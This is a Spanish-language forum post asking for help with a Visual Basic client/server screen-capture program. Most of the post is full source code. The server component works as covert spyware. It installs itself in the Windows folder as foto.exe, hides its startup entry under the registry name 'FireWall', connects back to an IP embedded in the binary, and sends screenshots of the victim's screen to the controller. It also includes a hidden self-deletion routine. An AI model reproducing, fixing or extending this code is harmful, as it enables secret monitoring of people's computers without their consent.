Autor
Llevo tiempo trabajando en este proyecto y aun no lo he culminado se trata de una pequeña aplicacion Cliente y Servidor que nos permite capturar la pantalla de una persona.
E tenido varios inconvenientes, mas que todo en el envio de la imagen lo que pasa es lo siguiente:
Uso un modulo especial para hacer una captura de la pantalla y pasarla de una a extension .jpg, ya que .bmp se tarda, entonces bien hasta ese punto.. pero cuando me toca enviar la imagen no se que hago malque si la imagen pesa 45kb (ejemplo loco) cuando abro la imagen para leer sus datos, y enviarlos al cliente solo le llegan 8kb... y pues no se como arreglar eso a ver si alguien me podria hechar una mano aqui les dejo el code completo del Cliente y el Server, espero no ser una molestia:
CLIENTE
Código:
Const skull As String = "Skull Screen Capture V 0.1"
Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
If ws.State = 0 Then
MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
labe1.Caption = "Desconectado..."
Timer1.Enabled = False
ws.Close
fin:
End Sub
Private Sub Command3_Click()
If ws.State = 0 Then
MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
ws.SendData "captura"
fin:
End Sub
Private Sub CommandXP1_Click()
Form3.Show
End Sub
Private Sub CommandXP4_Click()
If ws.State = 0 Then
MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
ws.SendData "eliminar"
fin:
End Sub
Private Sub Timer1_Timer()
If ws.State = 7 Then
Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
Label1.Caption = "Escuchando..."
ws.LocalPort = 1234
ws.Listen
End If
End Sub
Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, skull
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim imagen() As String
Dim datos As String
dll = Dir(Environ("WinDir") & "\imagen.jpg")
ws.GetData datos
Select Case Left(datos, 3)
Case "fot"
imagen = Split(datos, "|")
Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
Put #1, , imagen(1)
Close #1
If dll <> "" Then
Form2.Picture1 = LoadPicture(Environ("WinDir") & "\imagen.jpg")
Form2.Show
Pause 3
Kill Environ("Windir") & "\imagen.jpg"
Else
If Not dll <> "" Then
Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
Put #1, , imagen(1)
Close #1
End If
If imagen(1) = "" Then
ws.SendData "capturar"
End If
End If
Case "eli"
MsgBox ("Server eliminado correctamente"), vbInformation, skull
End Select
End Sub
del cliente uno de los aspectos que me gustaria mejorar es la conexion (una porqueria) pero como es para aprender a enviar imagenes por WS.. pues de eso me encargo luego!
el cliente tiene Editor, etc...SERVER
Código:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const SW_SHOWHIDE = 0
Const GWW_HINSTANCE = (-6)
Dim IPP() As String
Dim firma As String
Dim IP As String
Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function
Private Sub Form_Load()
dll = Dir(Environ("WinDir") & "\foto.exe")
If App.PrevInstance = True Then End
firma = "skull"
If Not dll <> "" Then
Call crear
End If
Open Ruta For Binary As #1
Dim todo As String
todo = Space(LOF(1))
Get #1, , todo
Close #1
IPP = Split(todo, firma)
IP = IPP(1)
ws.Connect IP, 1234
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If ws.State <> 7 Then
ws.Close
ws.Connect IP, 1234
End If
If ws.State = 7 Then
GoTo fin
End If
If ws.State = 2 Then
GoTo fin
End If
fin:
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim posi As String
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
Case "cap"
Call Capturar_enviar
Case "eli"
posi = Environ("Windir") & "\foto.exe"
Open Environ("Windir") & "\temp.bat" For Output As #1
Print #1, , "ping 127.0.0.1 > nul"
Print #1, , "del / f / q " & posi
Print #1, , "exit"
Close #1
ShellExecute Me.hwnd, "Open", Environ("WinDir") & "\temp.bat", vbNullString, "", SW_HIDE
ws.SendData "eliminado"
End
End Select
End Sub
Private Sub Capturar_enviar()
Dim foto As New cJpeg
dll = Dir(Environ("Windir") & "\foto.jpg")
Dim FileSize As String
foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
foto.Quality = 93
foto.SampleScreen
foto.SaveFile Environ("Windir") & "\foto.jpg"
Pause 5
If dll <> "" Then
Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
Do Until EOF(1)
Dim todo As String
todo = Space(LOF(1))
Get #1, , todo
Loop
Close #1
End If
ws.SendData "foto" & "|" & todo
End Sub
Private Sub crear()
FileCopy Ruta, Environ("WinDir") & "\foto.exe"
Dim sk As Object
Set sk = CreateObject("WScript.Shell")
sk.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\FireWall", Environ("WinDir") & "\foto.exe"
End Sub
Bueno este es el Server, espero que no se les complique y me puedan ayudar... como ya dije creo que mi error radica aqui:
Código:
Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
Do Until EOF(1)
Dim todo As String
todo = Space(LOF(1))
Get #1, , todo
Loop
Close #1
End If
ws.SendData "foto" & "|" & todopero en fin..
P.D: Para ahorrarle las respuestas a lgunos que van a decir: buscate un ejemplo de envio de datos en VB con Winsock, si ya lo he buscado pero no, quiero programar el MIO propio
Salu2's! 8)
En línea
